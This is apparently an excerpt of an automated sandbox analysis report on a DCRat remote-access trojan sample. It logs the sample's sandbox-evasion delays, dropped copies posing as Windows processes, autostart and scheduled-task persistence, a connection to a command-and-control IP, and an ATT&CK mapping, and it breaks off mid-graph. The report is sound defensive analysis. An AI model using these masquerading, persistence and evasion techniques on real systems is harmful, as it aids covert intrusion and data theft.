        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeMemory allocated: A00000 memory reserve | memory write watchJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeMemory allocated: 1A390000 memory reserve | memory write watchJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeMemory allocated: 870000 memory reserve | memory write watchJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeMemory allocated: 1A660000 memory reserve | memory write watchJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeMemory allocated: 630000 memory reserve | memory write watchJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeMemory allocated: 1A360000 memory reserve | memory write watchJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeMemory allocated: 2720000 memory reserve | memory write watchJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeMemory allocated: 1A720000 memory reserve | memory write watchJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeMemory allocated: B60000 memory reserve | memory write watchJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeMemory allocated: 1AAA0000 memory reserve | memory write watchJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeMemory allocated: AC0000 memory reserve | memory write watch
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeMemory allocated: 1A850000 memory reserve | memory write watch
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeMemory allocated: F00000 memory reserve | memory write watch
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeMemory allocated: 1AA40000 memory reserve | memory write watch
        Source: C:\Windows\System32\nettraceex\dllhost.exeMemory allocated: E20000 memory reserve | memory write watch
        Source: C:\Windows\System32\nettraceex\dllhost.exeMemory allocated: 1A990000 memory reserve | memory write watch
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 600000Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599828Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599703Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599594Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 600000Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599859Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599750Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599640Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599532Jump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeThread delayed: delay time: 922337203685477
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 600000
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599875
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599766
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599656
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599547
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 600000
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 599875
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 599766
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 599657
        Source: C:\PerfLogs\RuntimeBroker.exeWindow / User API: threadDelayed 506Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeWindow / User API: threadDelayed 781
        Source: C:\Windows\System32\nettraceex\dllhost.exeWindow / User API: threadDelayed 599
        Source: C:\Users\user\Desktop\TodjHkXUZB.exe TID: 7532Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7972Thread sleep time: -1844674407370954s >= -30000sJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7972Thread sleep time: -600000s >= -30000sJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7972Thread sleep time: -599828s >= -30000sJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7992Thread sleep count: 322 > 30Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7992Thread sleep count: 276 > 30Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7972Thread sleep time: -599703s >= -30000sJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7972Thread sleep time: -599594s >= -30000sJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7940Thread sleep time: -30000s >= -30000sJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7840Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 7864Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 7988Thread sleep time: -3689348814741908s >= -30000sJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 7988Thread sleep time: -600000s >= -30000sJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 8000Thread sleep count: 291 > 30Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 7988Thread sleep time: -599859s >= -30000sJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 8000Thread sleep count: 506 > 30Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 7988Thread sleep time: -599750s >= -30000sJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 7988Thread sleep time: -599640s >= -30000sJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 7988Thread sleep time: -599532s >= -30000sJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exe TID: 7960Thread sleep time: -30000s >= -30000sJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exe TID: 7904Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exe TID: 8040Thread sleep time: -922337203685477s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7288Thread sleep time: -1844674407370954s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7288Thread sleep time: -600000s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7288Thread sleep time: -599875s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7276Thread sleep count: 781 > 30
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7288Thread sleep time: -599766s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7288Thread sleep time: -599656s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 7288Thread sleep time: -599547s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 3624Thread sleep time: -30000s >= -30000s
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe TID: 8168Thread sleep time: -922337203685477s >= -30000s
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 5496Thread sleep time: -1844674407370954s >= -30000s
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 5496Thread sleep time: -600000s >= -30000s
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 5496Thread sleep time: -599875s >= -30000s
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 1148Thread sleep count: 599 > 30
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 5496Thread sleep time: -599766s >= -30000s
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 5496Thread sleep time: -599657s >= -30000s
        Source: C:\Windows\System32\nettraceex\dllhost.exe TID: 2172Thread sleep time: -30000s >= -30000s
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeFile Volume queried: C:\ FullSizeInformation
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeFile Volume queried: C:\ FullSizeInformation
        Source: C:\Windows\System32\nettraceex\dllhost.exeFile Volume queried: C:\ FullSizeInformation
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 600000Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599828Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599703Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599594Jump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 600000Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599859Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599750Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599640Jump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeThread delayed: delay time: 599532Jump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeThread delayed: delay time: 922337203685477
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 600000
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599875
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599766
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599656
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 599547
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 922337203685477
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 600000
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 599875
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 599766
        Source: C:\Windows\System32\nettraceex\dllhost.exeThread delayed: delay time: 599657
        Source: crQsxZqWXkIyquEQmzM.exe, 0000000F.00000002.1838618198.0000000000E16000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW
        Source: crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1731939685.0000000000973000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
        Source: w32tm.exe, 00000009.00000002.1742745311.0000022366279000.00000004.00000020.00020000.00000000.sdmp, RuntimeBroker.exe, 0000000C.00000002.1733910077.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000013.00000002.2082980068.000000001B270000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeProcess token adjusted: DebugJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess token adjusted: Debug
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeMemory allocated: page read and write | page guardJump to behavior

        HIPS / PFW / Operating System Protection Evasion

        barindex
        System process connects to network (likely due to code injection or exploit)
        Source: C:\Windows\System32\nettraceex\dllhost.exeNetwork Connect: 62.109.25.165 80
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\axOZ6YsJUi.bat" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\Desktop\TodjHkXUZB.exe "C:\Users\user\Desktop\TodjHkXUZB.exe" Jump to behavior
        Source: TodjHkXUZB.exe, 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
        Source: TodjHkXUZB.exe, 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, crQsxZqWXkIyquEQmzM.exe, 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe, 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeQueries volume information: C:\Users\user\Desktop\TodjHkXUZB.exe VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeQueries volume information: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe VolumeInformationJump to behavior
        Source: C:\Windows\System32\nettraceex\dllhost.exeQueries volume information: C:\Windows\System32\nettraceex\dllhost.exe VolumeInformationJump to behavior
        Source: C:\PerfLogs\RuntimeBroker.exeQueries volume information: C:\PerfLogs\RuntimeBroker.exe VolumeInformationJump to behavior
        Source: C:\Users\user\Searches\TextInputHost.exeQueries volume information: C:\Users\user\Searches\TextInputHost.exe VolumeInformationJump to behavior
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeQueries volume information: C:\Users\user\Desktop\TodjHkXUZB.exe VolumeInformation
        Source: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exeQueries volume information: C:\Program Files (x86)\jDownloader\config\crQsxZqWXkIyquEQmzM.exe VolumeInformation
        Source: C:\Windows\System32\nettraceex\dllhost.exeQueries volume information: C:\Windows\System32\nettraceex\dllhost.exe VolumeInformation
        Source: C:\Users\user\Desktop\TodjHkXUZB.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

        Stealing of Sensitive Information

        barindex
        Yara detected DCRat
        Source: Yara matchFile source: 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.1689200346.00000000023D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.1760200675.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000013.00000002.2081171609.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000002.1734290975.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000F.00000002.1839419550.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000002.1734290975.0000000002765000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000A.00000002.1732503350.00000000026A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000B.00000002.1760201778.00000000023A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: TodjHkXUZB.exe PID: 7512, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: crQsxZqWXkIyquEQmzM.exe PID: 7812, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: dllhost.exe PID: 7828, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 7848, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: TextInputHost.exe PID: 7868, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: TodjHkXUZB.exe PID: 8020, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: crQsxZqWXkIyquEQmzM.exe PID: 8144, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: dllhost.exe PID: 5928, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected DCRat
        Source: Yara matchFile source: 0000000B.00000002.1760201778.0000000002361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.1689200346.00000000023D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.1689200346.0000000002391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.1760200675.0000000002AE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.1760200675.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000013.00000002.2081171609.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000A.00000002.1732503350.0000000002661000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000002.1734290975.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000F.00000002.1839419550.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000C.00000002.1734290975.0000000002765000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000A.00000002.1732503350.00000000026A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000B.00000002.1760201778.00000000023A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: TodjHkXUZB.exe PID: 7512, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: crQsxZqWXkIyquEQmzM.exe PID: 7812, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: dllhost.exe PID: 7828, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RuntimeBroker.exe PID: 7848, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: TextInputHost.exe PID: 7868, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: TodjHkXUZB.exe PID: 8020, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: crQsxZqWXkIyquEQmzM.exe PID: 8144, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: dllhost.exe PID: 5928, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts11
        Windows Management Instrumentation        		1
        Scheduled Task/Job        		112
        Process Injection        		122
        Masquerading        		OS Credential Dumping11
        Security Software Discovery        		Remote Services1
        Archive Collected Data        		3
        Ingress Tool Transfer        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Scheduled Task/Job        		1
        Scripting        		1
        Scheduled Task/Job        		1
        Disable or Modify Tools        		LSASS Memory2
        Process Discovery        		Remote Desktop ProtocolData from Removable Media2
        Non-Application Layer Protocol        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt21
        Registry Run Keys / Startup Folder        		21
        Registry Run Keys / Startup Folder        		31
        Virtualization/Sandbox Evasion        		Security Account Manager31
        Virtualization/Sandbox Evasion        		SMB/Windows Admin SharesData from Network Shared Drive12
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal AccountsCron1
        DLL Side-Loading        		1
        DLL Side-Loading        		112
        Process Injection        		NTDS1
        Application Window Discovery        		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
        Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
        Deobfuscate/Decode Files or Information        		LSA Secrets1
        File and Directory Discovery        		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
        Obfuscated Files or Information        		Cached Domain Credentials14
        System Information Discovery        		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
        Software Packing        		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
        DLL Side-Loading        		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 signatures2 2 Behavior Graph ID: 1580555 Sample: TodjHkXUZB.exe Startdate: 25/12/2024 Architecture: WINDOWS Score: 100 42 Suricata IDS alerts for network traffic 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 Antivirus detection for URL or domain 2->46 48 16 other signatures 2->48 7 TodjHkXUZB.exe 8 25 2->7         started        11 RuntimeBroker.exe 3 2->11         started        13 dllhost.exe 3 2->13         started        15 4 other processes 2->15 process3 dnsIp4 32 C:\Windows\System32\nettraceex\dllhost.exe, PE32 7->32 dropped 34 C:\Users\user\Searches\TextInputHost.exe, PE32 7->34 dropped 36 C:\Users\user\...\crQsxZqWXkIyquEQmzM.exe, PE32 7->36 dropped 38 9 other malicious files 7->38 dropped 50 Creates multiple autostart registry keys 7->50 52 Creates an autostart registry key pointing to binary in C:\Windows 7->52 54 Uses schtasks.exe or at.exe to add and modify task schedules 7->54 56 Creates processes via WMI 7->56 18 cmd.exe 1 7->18         started        20 schtasks.exe 7->20         started        22 schtasks.exe 7->22         started        24 4 other processes 7->24 58 Antivirus detection for dropped file 11->58 60 Multi AV Scanner detection for dropped file 11->60 62 Machine Learning detection for dropped file 11->62 40 62.109.25.165, 49730, 